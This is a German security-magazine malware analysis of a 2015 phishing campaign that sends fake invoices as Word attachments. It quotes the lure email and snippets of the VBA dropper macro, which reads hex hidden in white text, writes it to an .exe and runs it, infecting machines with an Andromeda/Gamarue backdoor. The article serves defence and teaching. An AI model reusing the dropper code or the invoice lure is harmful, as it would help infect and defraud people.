Analysiert: Das Comeback der Makro-Malware
Makro-Viren sind tot – dachten wir. Eine aktuelle Welle von Trojaner-Mails zeigt einmal mehr: Totgesagte leben länger. In dieser Folge der heisec-Serie "Analysiert" untersucht Olivia von Westernhagen ein frisch aufgetauchtes Exemplar der eigentlich ausgestorbenen Schädlingsgattung.
Schädlinge, die sich in Form von Makros in Microsoft Office-Dokumenten verbergen und beim Öffnen automatisch ausgeführt werden, waren um die Jahrtausendwende sehr populär. Aktuelle Exemplare, die eine Analyse wert gewesen wären, gab es in den letzten Jahren jedoch kaum noch – ein Umstand, der wohl in erster Linie der Tatsache geschuldet ist, dass Microsoft dazu gelernt und in neueren Office-Versionen Makros standardmäßig abgeschaltet hat.
Umso mehr ĂĽberraschte mich, dass Microsoft zu Jahresbeginn ĂĽber ein vermehrtes Aufkommen von Schadcode in Office-Makros berichtete. Nach kurzer Recherche in Malware-bezogenen Blogs und Foren stieĂź ich auf ein Beispiel fĂĽr diesen Trend, welches ich genauer unter die Lupe nahm. Es entpuppte sich als ziemlich kreative und keineswegs angestaubte Masche zur Malware-Verbreitung.
Die Rechnung
Im Zeitraum zwischen Ende Januar und Anfang Februar landete in vielen Posteingängen eine E-Mail folgenden Wortlauts:
Betreff: Ihre Rechnung vom 24.11.2014
Sehr geehrter Kunde,
Vielen Dank fĂĽr die Bestellung.
Bitte ĂĽberprĂĽfen Sie die Bestellmenge, die Bestellsumme und die Lieferadresse.
Die Rechnung finden Sie im Anhang.
Bei Fragen stehen wir Ihnen gern zu VerfĂĽgung.
Mit freundlichen GrĂĽĂźen
Am Ende der Mail fand sich ein Absatz mit den gesetzlich vorgeschriebenen Informationen für geschäftliche E-Mail inklusive Namen des Geschäftsführers, Umsatzsteuer-Identifikationsnummer und so weiter. Im Anhang befand sich ein unverdächtig wirkendes Word-Dokument – unverdächtig deshalb, weil dieses Dateiformat im Gegensatz zu .exe-Dateien, .zip- und .rar-Archiven oder PDFs nicht in dem Ruf steht, ein gängiges Medium für Malware-Infektionen zu sein.
Aufgrund ihrer heute geringen Verbreitung sind Makroviren vielen Menschen kein Begriff mehr. Wie diese Tatsache sich trotz der eingangs erwähnten standardmäßigen Makro-Deaktivierung ausnutzen lässt, offenbart ein Blick ins Innere des Dokuments. Hierfür empfiehlt sich die Installation von Microsoft Office innerhalb einer virtuellen Umgebung, um Schäden am Betriebssystem zu vermeiden.
Bitte einschalten
Nehmen wir an, der Empfänger der E-Mail geht fest davon aus, dass in seinem Namen unberechtigter Weise etwas bestellt wurde und ist angesichts der (bereits seit November offenen!) nicht beglichenen Rechnung und der möglichen Folgekosten verzweifelt genug, das Word-Dokument zu öffnen. In dieser Annahme könnte ihn zusätzlich auch das in der E-Mail angegebene, real existierende Impressum bestärken, das offensichtlich von einem realen Online-Shop kopiert wurde.
Die Wahrscheinlichkeit ist groß, dass er im nächsten Schritt der Aufforderung folgt, die ihm im Inneren des Dokuments in fetten Lettern entgegen springt: "Please enable macroses to view the document"– auch wenn der peinliche Schreibfehler natürlich ins Auge sticht.
In der von mir für die nachfolgende Analyse verwendeten Office-Version (Office 2010) ist die geforderte Aktivierung von Makros im Dokument denkbar einfach: Ein Klick auf eine gelbe Schaltfläche unterhalb der Symbolleisten genügt. Ich folge diesem Impuls nicht; schließlich will ich mir die enthaltenen Makros zunächst ansehen, um ihre Funktionsweise zu verstehen. In Word 2010 ist dies über Ansicht / Makros / Makros anzeigen
möglich.
Eine andere Möglichkeit, Makro-Code aus Office-Dokumenten herauszufiltern, bietet das Tool OfficeMalScanner von Frank Boldewin. Per Kommandozeile lassen sich damit Informationen über das Dateiformat ermitteln und im Dokument enthaltener Visual Basic Code in einer neu angelegten, separaten Datei abspeichern. Die Verwendung dieses Tools bietet sich vor allem dann an, wenn zur Analyse des Codes keine virtuelle Maschine zur Verfügung steht und dieser somit auf keinen Fall ausgeführt werden darf.
Der Makro-Code
Der in der angeblichen Rechnung enthaltene Makro-Code ist in Microsofts Visual Basic for Applications (VBA) geschrieben. OpenOffice und LibreOffice haben häufig Probleme mit dem Import solcher VBA-Makros, so auch in diesem Fall: Bei unseren Tests führte OpenOffice das Makro nicht aus, Nutzer der Open-Source-Alternative waren somit schon mal aus der Schusslinie.
Anders Microsoft Word: dort führte ein Klick auf Aktivieren direkt zur Ausführung des Makros. Eine interessante Frage ist zunächst, wie diese automatische Ausführung eigentlich zustande kommt. Im vorliegenden Beispiel wurden hierfür die VBA-Standard-Funktionen Auto_Open()
beziehungsweise Workbook_Open()
verwendet. Je nach Office-Version ruft Word eine der beiden Funktionen automatisch auf und fĂĽhrt die darin enthaltenen Anweisungen aus. Beide rufen im vorliegenden Code eine Funktion namens xpress()
auf, welche die eigentliche Funktionalität des schädlichen Makros beinhaltet.
Nach der Deklaration diverser Variablen ermittelt der Code mittels Environ("TEMP")
das Standard-Temp-Verzeichnis des Systems, um dort zu einem späteren Zeitpunkt eine Datei namens pldocument.exe
anzulegen.
TmpFile = Environ("TEMP")
TmpName = TmpFile & "pldocument" & ".exe"
Leser, die mit VBA vertraut sind, sehen, dass dem Autor des Schadcodes an dieser Stelle ein kleiner Denkfehler unterlaufen ist. Obiger Code resultiert nämlich stattdessen in der Speicherung einer Datei namens Temppldocument.exe
in %userprofile%\AppData\Local
. Der Funktionsfähigkeit des nachfolgenden Codes tut dies jedoch keinen Abbruch.
Simsalabim: Der magische Text
Die nächste interessante Code-Passage ist die Verwendung der Funktion inStr()
.
Data = ActiveDocument.Range.Text
Pos = InStr(12, Data, "5678")
Der erste Parameter ist dabei eine Startposition fĂĽr den Lesevorgang, der zweite die zu lesenden Daten (in diesem Fall der gesamte Inhalt des Word-Dokuments) und der dritte ein zu suchender String. Der RĂĽckgabewert der Funktion ist dessen Position.
Auf den ersten Blick stehen jedoch im Dokument mit der angeblichen Rechnung nur sieben Worte. Daraus ergibt sich natĂĽrlich die Frage, wo sich der String "5678"
verbirgt. Die Antwort offenbart sich auf den zweiten prüfenden Blick. Statt sieben zeigt mir die Wortzählfunktion von Word acht Wörter im Dokument an. Auch die stolze Anzahl der Dokumentseiten – ganze 60 Stück – scheint mir verdächtig. Wie kann man Text „verstecken?“, lautet die nächste Frage. Richtig – indem man weiße Buchstaben auf weißem Hintergrund platziert.
Durch Markieren des gesamten Dokuments und anschließendem Verändern der Schriftfarbe wird der "aus einem Wort" bestehende, 60-seitige Text sichtbar. Es handelt sich um besagten String "5678"
, gefolgt von einer mehrseitigen Sequenz hexadezimaler Werte. Der weitere VBA-Code schreibt diese Hex-Werte in einer While…Wend
-Schleife in Blöcken von je vier Byte in die erwähnte Ausgabedatei.
ByteWritten = Pos + 3 + 1
InputFile = FreeFile
Open TmpName For Binary Lock Write As #InputFile
While (ByteWritten < Len(Data))
Symbol = Mid(Data, ByteWritten, 14 - 10)
Put #InputFile, , CByte(Symbol)
ByteWritten = ByteWritten + 4
Wend
Close #InputFile
Den krönenden Abschluss bildet der Start dieser .exe-Datei:
Shell TmpName, 3 – 2
Willkommen im Botnet
Ein Upload der entstandenen Datei beim Dienst Virustotal zeigt, dass es sich um eine Backdoor-Malware handelt. Die macht den PC des Rechnungsempfängers zu einem Teil des Andromeda- beziehungsweise Gamarue-Botnets. Der Rechner wird zukünftig ferngesteuert – und dabei dann Spam oder weitere Trojaner-Mails verschicken, sich an DDoS-Attacken beteiligen und ähnliches mehr.
Analysiert - die Serie auf heise Security
Im Rahmen der losen heise-Security-Serie "Analysiert:" werfen Experten einen Blick hinter die Kulissen von aktuellen Schädlingen, Betrugsmaschen oder anderen Tricks, die Sie um Ihre Daten bringen sollen.
Der VBA-Code ist wirklich kein Hexenwerk. Dafür ist die Chance, mit einem solchen Office-Dokument Spam-Filter zu umgehen und Menschen dazu zu bringen, den Schadcode zu aktivieren meiner Ansicht nach recht hoch. Die Trojaner-Autoren müssen nur einen geeigneten, dringlich wirkenden Grund liefern, das Dokument zu öffnen. Ich fürchte, wir werden deshalb in den nächsten Monaten mit Sicherheit noch weitere Beispiele für Makros als Dropper für Schadcode zu sehen bekommen. (ovw)